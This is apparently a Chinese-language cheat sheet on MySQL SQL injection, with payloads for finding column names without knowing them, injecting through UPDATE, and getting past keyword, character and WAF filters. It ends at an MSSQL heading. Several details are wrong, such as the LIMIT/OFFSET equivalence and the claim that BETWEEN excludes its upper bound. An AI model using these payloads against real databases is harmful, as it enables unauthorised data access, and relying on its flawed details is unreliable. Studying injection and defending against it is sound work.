在知道表名，不知道列名的情况下，我们可以利用union来给未知列名“重命名”，还可以利用报错函数来注入出列名。现在，除了之前的order by盲注之外，这里再提一种新的方法，直接通过select进行盲注。



mysql无列名注入是报错注入的一个变种，前提是已知表名，但是不知道列名，或者只知道部分列名，可通过报错注入拼接查询自身表，当自表被拼接时，由于存在重复属性列，会将列信息报错返回，这样我们就能知道表中的列名，再select 列名 from 表名 可直接查询出对应的数据。

核心payload

```
1 SELECT * FROM users UNION (SELECT * FROM (SELECT * FROM users AS a JOIN users AS b)c)
2 //得到第一列id
3
4
5 SELECT * FROM users UNION SELECT * FROM (SELECT * FROM users AS a JOIN users AS b
  USING(id))c
6 //得到第二列name
7 ....
8 SELECT * FROM USER UNION SELECT * FROM (SELECT * FROM USER AS a JOIN USER AS b
  USING(id,name))c
9 ..
10
```

select 被过滤

使用handler

```
1 handler secTest read first; #读取指定表/句柄的首行数据
2 handler secTest read next; #读取指定表/句柄的下一行数据
3 handler secTest read next; #读取指定表/句柄的下一行数据
4 ...
5 handler secTest close; #关闭句柄
```

LIMIT之后的字段数判断

注入点在where子语句之后，判断字段数可以用order by或group by来进行判断，而limit后可以利用 into @,@ 判断字段数，其中@为mysql临时变量

```
1 select * from users where id=1 limit 0,1 into @,@;
2 select * from users where id=1 limit 0,1 into @,@,@;
3
4 //报错时候：
5 错误代码： 1222
6 The used SELECT statements have a different number of columns
7
8 //对的时候 (MySQL V8.0)
```



```
9  错误代码: 3061
10 User variable name '' is illegal
```

UPDATE注入重复字段赋值

```
1  UPDATA table_name set field1=new_value,field1=new_value2 [where],
2  最终field1字段的内容为new_value2, 可用这个特性来进行UPDATA注入。
3  如:
4  UPDATE table_name set field1=new_value,field1=(select user()) [where]
```

and / or 被过滤/拦截

1. 双写: anandd, oorr
2. 使用运算符代替: &&, ||
3. 直接拼接=(condition): ?id= 1 = (1=1)
4. 其他方法: ?id=1 ^ (condition)
5. 进制转换 0x55
6. 内联注释 /**/
7. 大小写

空格被过滤/拦截

1、使用括号代替

括号是用来包围子查询的。因此, 任何可以计算出结果的语句, 都可以用括号包围起来。而括号的两端, 可以没有多余的空格

```
1  select * from users where id = '1' and(updatexml(1,concat(0x23,user(),0x23),1));
```

2、使用+号代替

3、使用注释代替

4、使用偶数个! 或 ~ 代替

and/or后面可以跟上偶数个!、~可以替代空格, 也可以混合使用(规律又不同), and/or前的空格可用省略。

```
1  SELECT * FROM users WHERE id = '1'AND~~1=1
```

5、其他字符

%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格

```
1 SELECT * FROM users WHERE
   id='1' UNION (SELECT+username,id/**/FROM/**/USER/**/WHERE+id='1'AND!!!!~~1=1)
```

逗号被过滤/拦截

1、使用join语句代替

```
1 UNION SELECT 1,2 等价于 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b
2
```

2、from关键字代替

```
1 select substr(database() from 1 for 1);
2 select mid(database() from 1 for 1);
3 # from A to B
4 # 从第A个开始取，共取4个字符
5
```

3、like 关键字代替

```
1 SELECT ASCII(MID(USER(),1,1))=80 #等价于
2 SELECT USER() LIKE 'r%'
```

4、offset 关键字代替

```
1 SELECT * FROM users LIMIT 0,1 #等价于
2 SELECT * FROM users LIMIT 1 OFFSET 1
```

比较符(> <)被过滤/拦截

1、使用greatest()、least()函数代替

greatest()、least () : (前者返回最大值, 后者返回最小值)

同样是在使用盲注的时候, 在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符, 那么就需要使用到greatest来进行绕过了,如下例

```
1 SELECT * FROM users WHERE id=1 AND GREATEST(ASCII(SUBSTR(DATABASE(),1,1)),0)=¥
2 ¥从1到256, 一次尝试即可
```

2、 between ... and ...

```
1 between a and b: 返回a, b之间的数据, 不包含b
2
```

等号 (=) 被过滤/拦截

1、 like, rlike, regexp

2、 > <

系统关键字(SELECT, WHERE, UNION...)被过滤/拦截

1. 注释符绕过
2. 大小写绕过
3. 内联注释法绕过
4. 双写
5. + 拼接字符串

```
1 select "sec"="s"+"ec" ;+-----+|"sec"="s"+"ec"|+-----+
  +|1|+-----+
2
```

6. 新语法, mysql8.0.19 + 出现 table,value关键字

```
1 -- 可以直接列出表的全部内容
2 TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
3 -- select语句可以使用table语句来代替
4 select * from user;
5 -- 等同于TABLE USER;
6
```

引号被过滤/拦截

进制转换（通常十六进制）
考虑字符类型，宽字节

函数被过滤/拦截

等价替换函数

注释符被过滤/拦截

手动闭合

```
id=1' or '1'='1
```

WAF绕过

1、编码绕过

```
?id=-1 union %23%0A select 1,2,3;%23
```

```
%23-->#
```

```
%0a-->换行符
```

```
?id=-1 union #a
```

```
select 1,2,3;#
```

因此成功绕过。MySQL是支持换行的

2、参数污染

```
/*!select * from user*/ 数据库特性
```

```
/**多行注释*/
```

(适用于Apache + php)

```
?id=-1/**&id=-1 union select 1,2,3 %23 */
```

3、适用于MySQL的：

```
?id = -1 union/*!44509select */ 1,2,3
```

表示4.4.509版本的MySQL会执行

4、请求头绕过，换成百度的请求头

2、MSSQL注入

